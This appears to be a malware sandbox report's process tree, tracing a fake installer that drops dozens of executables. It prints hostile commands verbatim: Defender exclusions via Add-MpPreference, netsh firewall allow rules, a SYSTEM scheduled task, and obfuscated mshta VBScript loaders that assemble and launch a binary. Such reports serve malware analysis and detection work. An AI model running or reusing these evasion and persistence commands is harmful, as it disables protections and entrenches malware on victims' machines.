"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4012

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1248

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1280

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
4⤵
- Suspicious use of WriteProcessMemory
PID:5108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:568

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun152bab5a2de.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:4964

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun152bab5a2de.exe
Sun152bab5a2de.exe
5⤵
- Executes dropped EXE
PID:2948

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun15901f2f025e.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3900

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun15901f2f025e.exe
Sun15901f2f025e.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 1388
6⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5316

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun15dbd675f871ca.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3256

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun15dbd675f871ca.exe
Sun15dbd675f871ca.exe
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1256

C:\Users\Admin\Pictures\Adobe Films\BT6q4LmjoI4O_fTuCtwy_Jhk.exe
"C:\Users\Admin\Pictures\Adobe Films\BT6q4LmjoI4O_fTuCtwy_Jhk.exe"
6⤵
- Executes dropped EXE
PID:1888

C:\Users\Admin\Pictures\Adobe Films\G9qMoQFOFYl5YC3VO2pFQcFq.exe
"C:\Users\Admin\Pictures\Adobe Films\G9qMoQFOFYl5YC3VO2pFQcFq.exe"
6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4488

C:\Program Files (x86)\Company\NewProduct\cm3.exe
"C:\Program Files (x86)\Company\NewProduct\cm3.exe"
7⤵
- Executes dropped EXE
PID:4672

C:\Program Files (x86)\Company\NewProduct\inst3.exe
"C:\Program Files (x86)\Company\NewProduct\inst3.exe"
7⤵
- Executes dropped EXE
PID:2580

C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe
"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"
7⤵
- Executes dropped EXE
PID:3656

C:\Users\Admin\Pictures\Adobe Films\HGAQNXOo9NMXs9AAUMcNhYST.exe
"C:\Users\Admin\Pictures\Adobe Films\HGAQNXOo9NMXs9AAUMcNhYST.exe"
6⤵
- Executes dropped EXE
PID:6120

C:\ProgramData\build.exe
"C:\ProgramData\build.exe"
7⤵
- Executes dropped EXE
PID:2084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2084 -s 1704
8⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3144

C:\Users\Admin\Pictures\Adobe Films\12yiqSy2I1ZXOGX6sfVWTHM5.exe
"C:\Users\Admin\Pictures\Adobe Films\12yiqSy2I1ZXOGX6sfVWTHM5.exe"
6⤵
- Executes dropped EXE
PID:6108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6108 -s 276
7⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4196

C:\Users\Admin\Pictures\Adobe Films\pPkWxNCLoiE1aFnlwiFAYPR2.exe
"C:\Users\Admin\Pictures\Adobe Films\pPkWxNCLoiE1aFnlwiFAYPR2.exe"
6⤵
- Executes dropped EXE
PID:6096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6096 -s 300
7⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3188

C:\Users\Admin\Pictures\Adobe Films\bCaZvnb0_PKf8lgD5M4Feizb.exe
"C:\Users\Admin\Pictures\Adobe Films\bCaZvnb0_PKf8lgD5M4Feizb.exe"
6⤵
- Executes dropped EXE
PID:5320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 296
7⤵
- Program crash
PID:1044

C:\Users\Admin\Pictures\Adobe Films\UH2rCx39mDnQ4ob77sW4j7b0.exe
"C:\Users\Admin\Pictures\Adobe Films\UH2rCx39mDnQ4ob77sW4j7b0.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5388

C:\Users\Admin\Pictures\Adobe Films\AQht4XZ6hHCr7UMLUDIpl7hg.exe
"C:\Users\Admin\Pictures\Adobe Films\AQht4XZ6hHCr7UMLUDIpl7hg.exe"
6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
PID:5384

C:\Users\Admin\Pictures\Adobe Films\AQht4XZ6hHCr7UMLUDIpl7hg.exe
"C:\Users\Admin\Pictures\Adobe Films\AQht4XZ6hHCr7UMLUDIpl7hg.exe"
7⤵
PID:5920

C:\Users\Admin\Pictures\Adobe Films\AQht4XZ6hHCr7UMLUDIpl7hg.exe
"C:\Users\Admin\Pictures\Adobe Films\AQht4XZ6hHCr7UMLUDIpl7hg.exe"
7⤵
- Executes dropped EXE
PID:6008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5384 -s 1992
7⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3308

C:\Users\Admin\Pictures\Adobe Films\oVbCA6Ocv_bmi86kIF6_X9ud.exe
"C:\Users\Admin\Pictures\Adobe Films\oVbCA6Ocv_bmi86kIF6_X9ud.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5348

C:\Users\Admin\Pictures\Adobe Films\oVbCA6Ocv_bmi86kIF6_X9ud.exe
"C:\Users\Admin\Pictures\Adobe Films\oVbCA6Ocv_bmi86kIF6_X9ud.exe"
7⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5800

C:\Users\Admin\Pictures\Adobe Films\_eTbCCSBTc5Eh0p4iNwop2Al.exe
"C:\Users\Admin\Pictures\Adobe Films\_eTbCCSBTc5Eh0p4iNwop2Al.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5292

C:\Users\Admin\Pictures\Adobe Films\_eTbCCSBTc5Eh0p4iNwop2Al.exe
"C:\Users\Admin\Pictures\Adobe Films\_eTbCCSBTc5Eh0p4iNwop2Al.exe"
7⤵
- Executes dropped EXE
PID:3572

C:\Users\Admin\Pictures\Adobe Films\0P7C901GxxrrCq6G9SXjVMo8.exe
"C:\Users\Admin\Pictures\Adobe Films\0P7C901GxxrrCq6G9SXjVMo8.exe"
6⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4400

C:\Users\Admin\Pictures\Adobe Films\AIuXWgSVwp4YhHmVIH4g9F9O.exe
"C:\Users\Admin\Pictures\Adobe Films\AIuXWgSVwp4YhHmVIH4g9F9O.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4220

C:\Users\Admin\Pictures\Adobe Films\vDFvTSLkY9KHF5YR8kBa437o.exe
"C:\Users\Admin\Pictures\Adobe Films\vDFvTSLkY9KHF5YR8kBa437o.exe"
6⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1248

C:\Users\Admin\Pictures\Adobe Films\Ul74UKBPgSuoE2iRtoDoiQHh.exe
"C:\Users\Admin\Pictures\Adobe Films\Ul74UKBPgSuoE2iRtoDoiQHh.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3292

C:\Users\Admin\Pictures\Adobe Films\1upnME8VKubWhyIPkgUiZRnZ.exe
"C:\Users\Admin\Pictures\Adobe Films\1upnME8VKubWhyIPkgUiZRnZ.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5628

C:\Users\Admin\Pictures\Adobe Films\HWjxM3dCEWl570a_F1qlhUQg.exe
"C:\Users\Admin\Pictures\Adobe Films\HWjxM3dCEWl570a_F1qlhUQg.exe"
6⤵
- Executes dropped EXE
PID:2068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2068 -s 276
7⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5984

C:\Users\Admin\Pictures\Adobe Films\SUMfEn8MafuT5kK3l65hD4on.exe
"C:\Users\Admin\Pictures\Adobe Films\SUMfEn8MafuT5kK3l65hD4on.exe"
6⤵
- Executes dropped EXE
PID:5584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5584 -s 268
7⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1416

C:\Users\Admin\Pictures\Adobe Films\L1xBLrpHoi38lGdLr42hdtwZ.exe
"C:\Users\Admin\Pictures\Adobe Films\L1xBLrpHoi38lGdLr42hdtwZ.exe"
6⤵
PID:5612

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MjpFiZVjH.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MjpFiZVjH.exe"
7⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:1492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
8⤵
- Blocklisted process makes network request
PID:3156

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
8⤵
PID:4264

C:\Windows\SYSTEM32\schtasks.exe
schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
8⤵
- Creates scheduled task(s)
PID:3792

C:\Windows\System\svchost.exe
"C:\Windows\System\svchost.exe" formal
8⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:2568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
9⤵
PID:1512

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
9⤵
PID:5744

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
10⤵
PID:3996

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
9⤵
PID:3876

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
8⤵
PID:5136

C:\Users\Admin\Pictures\Adobe Films\MKvtYprW318KERPOI1r8Qw1E.exe
"C:\Users\Admin\Pictures\Adobe Films\MKvtYprW318KERPOI1r8Qw1E.exe"
6⤵
- Executes dropped EXE
PID:1716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1716 -s 280
7⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5676

C:\Users\Admin\Pictures\Adobe Films\fgrvOfrN7tEJnXVEHb2QBTV7.exe
"C:\Users\Admin\Pictures\Adobe Films\fgrvOfrN7tEJnXVEHb2QBTV7.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5468

C:\Users\Admin\Pictures\Adobe Films\Wil0Z1Zqys1gJpqgCgyQbvpw.exe
"C:\Users\Admin\Pictures\Adobe Films\Wil0Z1Zqys1gJpqgCgyQbvpw.exe"
6⤵
- Executes dropped EXE
PID:5408

C:\Users\Admin\Pictures\Adobe Films\Sb74EPqynGoxybhHjOZA6Ef4.exe
"C:\Users\Admin\Pictures\Adobe Films\Sb74EPqynGoxybhHjOZA6Ef4.exe"
6⤵
- Executes dropped EXE
PID:4376

C:\Users\Admin\AppData\Roaming\8776506.scr
"C:\Users\Admin\AppData\Roaming\8776506.scr" /S
7⤵
- Executes dropped EXE
PID:1324

C:\Users\Admin\AppData\Roaming\7581533.scr
"C:\Users\Admin\AppData\Roaming\7581533.scr" /S
7⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:5720

C:\Users\Admin\AppData\Roaming\4415324.scr
"C:\Users\Admin\AppData\Roaming\4415324.scr" /S
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3908

C:\Users\Admin\AppData\Roaming\2252731.scr
"C:\Users\Admin\AppData\Roaming\2252731.scr" /S
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5528

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
8⤵
PID:1200

C:\Users\Admin\AppData\Roaming\4957603.scr
"C:\Users\Admin\AppData\Roaming\4957603.scr" /S
7⤵
- Executes dropped EXE
PID:5700

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
8⤵
- Executes dropped EXE
PID:5920

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun15f67075f27a2b5b.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1116

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun15f67075f27a2b5b.exe
Sun15f67075f27a2b5b.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2008

C:\Users\Admin\AppData\Roaming\5463742.scr
"C:\Users\Admin\AppData\Roaming\5463742.scr" /S
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5092

C:\Users\Admin\AppData\Roaming\4434337.scr
"C:\Users\Admin\AppData\Roaming\4434337.scr" /S
6⤵
- Executes dropped EXE
- Adds Run key to start application
PID:1572

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
7⤵
- Executes dropped EXE
PID:5764

C:\Users\Admin\AppData\Roaming\6781030.scr
"C:\Users\Admin\AppData\Roaming\6781030.scr" /S
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5440

C:\Users\Admin\AppData\Roaming\3771438.scr
"C:\Users\Admin\AppData\Roaming\3771438.scr" /S
6⤵
- Executes dropped EXE
PID:5576

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun1577c3e159a3e3815.exe /mixone
4⤵
PID:5044

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun1577c3e159a3e3815.exe
Sun1577c3e159a3e3815.exe /mixone
5⤵
- Executes dropped EXE
PID:1200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1200 -s 240
6⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4516

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun159ff1acacf.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3428

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun159ff1acacf.exe
Sun159ff1acacf.exe
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1988

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun159ff1acacf.exe
C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun159ff1acacf.exe
6⤵
- Executes dropped EXE
PID:3300

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun1507db358fce61c0b.exe
4⤵
PID:3064

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun1507db358fce61c0b.exe
Sun1507db358fce61c0b.exe
5⤵
- Executes dropped EXE
PID:4304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 284
6⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1624

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun152e52d07b74d9b5.exe
4⤵
PID:3352

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun158d8ef840.exe
4⤵
PID:660

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun152bea652bd7232.exe
4⤵
PID:2876

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun15f1b1f8c669.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:4760

C:\Windows\System32\Upfc.exe
C:\Windows\System32\Upfc.exe /launchtype periodic /cv eb+xFBg0LEeIJZdQgWd8gg.0
1⤵
PID:4868

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv eb+xFBg0LEeIJZdQgWd8gg.0.2
2⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Modifies data under HKEY_USERS
PID:4132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s W32Time
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1320

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 52e8494f55ae911df54b4e5e8ec9a8f2 eb+xFBg0LEeIJZdQgWd8gg.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3592

C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
2⤵
PID:2376

C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
2⤵
PID:2908

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 52e8494f55ae911df54b4e5e8ec9a8f2 eb+xFBg0LEeIJZdQgWd8gg.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
PID:4908

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun152bea652bd7232.exe
Sun152bea652bd7232.exe
1⤵
- Executes dropped EXE
PID:5056

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun152e52d07b74d9b5.exe
Sun152e52d07b74d9b5.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1548

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1548 -s 1576
2⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5212

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun158d8ef840.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun158d8ef840.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
1⤵
PID:4540

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun158d8ef840.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun158d8ef840.exe") do taskkill /F -Im "%~NxU"
2⤵
PID:2164

C:\Users\Admin\AppData\Local\Temp\09xU.exE
09xU.EXE -pPtzyIkqLZoCarb5ew
3⤵
- Executes dropped EXE
PID:2076

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
4⤵
PID:5152

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
5⤵
PID:5320

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
4⤵
PID:5644

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
5⤵
PID:1244

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
6⤵
PID:3996

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHO "
6⤵
PID:3144

C:\Windows\SysWOW64\control.exe
control .\R6f7sE.I
6⤵
PID:3552

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
7⤵
- Loads dropped DLL
PID:5908

C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
8⤵
PID:6860

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
9⤵
- Loads dropped DLL
PID:6872

C:\Windows\SysWOW64\taskkill.exe
taskkill /F -Im "Sun158d8ef840.exe"
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5372

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun158d8ef840.exe
Sun158d8ef840.exe
1⤵
- Executes dropped EXE
PID:1244

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun15f1b1f8c669.exe
Sun15f1b1f8c669.exe
1⤵
- Executes dropped EXE
PID:420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 420 -s 320
2⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1200 -ip 1200
1⤵
PID:4400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4304 -ip 4304
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 420 -ip 420
1⤵
PID:1248

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 580 -p 1548 -ip 1548
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2768

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5564

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
PID:5592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 5592 -ip 5592
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 5584 -ip 5584
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 3156 -ip 3156
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2068 -ip 2068
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 5320 -ip 5320
1⤵
PID:6032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1716 -ip 1716
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5384 -ip 5384
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2084 -ip 2084
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 6096 -ip 6096
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
- Drops startup file
PID:5612

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 6108 -ip 6108
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3724

C:\Users\Admin\AppData\Local\Temp\CF86.exe
C:\Users\Admin\AppData\Local\Temp\CF86.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6332

C:\Users\Admin\AppData\Local\Temp\CF86.exe
C:\Users\Admin\AppData\Local\Temp\CF86.exe
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:6696

C:\Users\Admin\AppData\Local\Temp\E0DC.exe
C:\Users\Admin\AppData\Local\Temp\E0DC.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6548

C:\Users\Admin\AppData\Local\Temp\F32D.exe
C:\Users\Admin\AppData\Local\Temp\F32D.exe
1⤵
- Executes dropped EXE
PID:6904

C:\Windows\SysWOW64\WerFault.exe
